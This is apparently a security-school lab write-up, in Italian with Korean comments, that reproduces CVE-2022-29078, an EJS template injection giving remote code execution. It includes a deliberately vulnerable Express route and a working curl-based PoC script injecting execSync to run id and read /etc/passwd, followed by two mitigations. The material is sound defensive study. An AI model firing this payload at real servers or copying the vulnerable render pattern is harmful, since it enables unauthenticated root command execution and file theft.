
WhiteHat School 4ª coorte (classe 32) - Sangbeom Woo (@taka3636)
La vulnerabilità di server-side template injection (SSTI) in EJS < 3.1.7 (CVE-2022-29078) consente di eseguire comandi arbitrari sul server da remoto (RCE) senza autenticazione. Questo documento configura un ambiente vulnerabile con Docker, riproduce la RCE tramite un PoC e verifica due contromisure (aggiornamento della libreria e passaggio sicuro degli input).
EJS (Embedded JavaScript templates) è un motore di template ampiamente utilizzato nell'ecosistema Node.js. Consente di creare viste dinamiche inserendo JavaScript nell'HTML con i tag <% %>, ad esempio <h1>Hello <%= id %></h1>. Internamente, EJS compila la stringa del template in una funzione JavaScript e la esegue per generare l'HTML finale. In altre parole, è un generatore di codice che trasforma "testo (template)" in "codice eseguibile (funzione)"; questa caratteristica è alla base della presente vulnerabilità.
EJS < 3.1.7 inserisce il valore dell'opzione di rendering outputFunctionName nel sorgente della funzione compilata senza validazione. Se l'applicazione passa l'input dell'utente direttamente come opzione di rendering, un attaccante può inquinare questa opzione ed eseguire codice arbitrario sul server (RCE). Poiché il server può essere completamente compromesso da remoto senza autenticazione, la gravità è molto alta.
< 3.1.7EJS/CVE-2022-29078/
├── docker-compose.yml # 127.0.0.1 바인딩(격리)
├── Dockerfile # node:18.20.4 (버전 고정)
├── app/
│ ├── server.js # 취약 Express 앱
│ ├── package.json # ejs 3.1.6 정확 고정
│ └── views/page.ejs
├── poc.sh # PoC 실행 스크립트
└── 1.png ~ 8.png # 스크린샷
18.20.4 fissato3.1.6 (fissata in modo esatto, senza simboli — con ^/~ verrebbe installata una versione con patch e la riproduzione non sarebbe possibile)4.18.2docker compose up -d --build.

L'attacco riesce quando le due condizioni seguenti sono soddisfatte contemporaneamente.
< 3.1.7 inserisce outputFunctionName come codice senza alcuna validazione// app/server.js — 취약 지점
app.get('/page', (req, res) => {
res.render('page', req.query); // req.query 전체를 렌더 옵션으로 전달
});
Express, con res.render('page', req.query), passa l'input utente (req.query) a EJS interamente come opzioni di rendering. In questo caso il parser qs interpreta notazioni tra parentesi come settings[view options][outputFunctionName] come oggetti annidati e il loro valore viene unito all'opzione di compilazione EJS outputFunctionName. In pratica, il codice (funzione) che l'utente inserisce al posto dell'opzione viene allegato all'opzione e passato insieme a EJS. EJS inserisce questo valore davanti alla funzione compilata, come segue.
var <outputFunctionName값> = __append;
Con un valore normale, ad esempio var myOut = __append;, è innocuo; ma se nel valore si interrompe l'istruzione con un punto e virgola e si inserisce del codice, quel codice viene eseguito alla lettera quando la funzione compilata viene eseguita. In questa posizione è possibile inserire execSync(...) per leggere file specifici o eseguire comandi di sistema.
Prerequisiti: Docker + Docker Compose installati, connessione Internet durante la build.
# 1) 클론 후 폴더 이동
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078
# 2) 빌드 및 기동
docker compose up -d --build
docker compose ps
# 3) 정상 동작 확인
curl "http://127.0.0.1:3000/page?id=world" # -> <h1>Hello world</h1>
# 4) PoC 실행
bash poc.sh
# 5) 정리
docker compose down

poc.sh — tramite l'iniezione dell'opzione outputFunctionName esegue tre comandi sul server e ne recupera i risultati. [1] id (utente che esegue), [2] /etc/passwd (lettura arbitraria di file), [3] uname (posizione di esecuzione).
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"
run() { # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
curl -g -s -o /dev/null \
"${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
docker compose exec -T vuln-ejs cat /tmp/out
}
echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
curl -g : obbligatorio per non far interpretare le parentesi quadre dell'URL come glob (senza, si ottiene curl: (3) bad range)%20, reindirizzamento > %3ERisultato dell'esecuzione di poc.sh. Una richiesta normale (id=world) restituisce soltanto Hello world, mentre il comando iniettato tramite l'iniezione di outputFunctionName viene eseguito sul server e l'output viene recuperato.

id → uid=0(root) gid=0(root): il comando iniettato viene eseguito con privilegi di root./etc/passwd → il contenuto del file degli account di sistema viene restituito così com'è: è possibile leggere file arbitrari dal server (violazione della riservatezza).uname → il nome host è 326f6f1b04b3 (ID del container), diverso dal nome host della VM (ubuntu-QEMU-Virtual-Machine): dimostra che il comando è stato eseguito dentro il container, non sull'host. In altre parole, i privilegi di root non derivano da sudo, ma dal processo del server vulnerabile (node nel container, che è root di default).Con una singola richiesta remota senza autenticazione è possibile eseguire comandi con privilegi di root e leggere file arbitrari = CVE-2022-29078.
Contromisura 1 — Aggiornamento della libreria (soluzione definitiva)
Aggiornare ejs in package.json a 3.1.7 o superiore. La versione 3.1.7+ valida outputFunctionName tramite l'espressione regolare /^[a-zA-Z_$][0-9a-zA-Z_$]*$/ e rifiuta caratteri non identificatori come il punto e virgola, quindi lo stesso attacco viene bloccato prima dell'esecuzione del codice.
Error: outputFunctionName is not a valid JS identifier.


Contromisura 2 — Passaggio sicuro degli input (difesa a livello di applicazione)
Anche con la versione vulnerabile (3.1.6), se non si passa l'intero input dell'utente ma solo i valori necessari, il percorso di unione settings[view options] viene eliminato e l'inquinamento delle opzioni non è possibile. Le funzionalità normali vengono mantenute.
// 변경 전 (취약)
res.render('page', req.query);
// 변경 후 (안전)
res.render('page', { id: req.query.id });


Consigliato: applicare entrambe le misure: aggiornamento della libreria (soluzione definitiva) e passaggio minimo degli input utente (difesa in profondità). Inoltre, eseguire il container con un utente non-root può ridurre l'impatto di una RCE.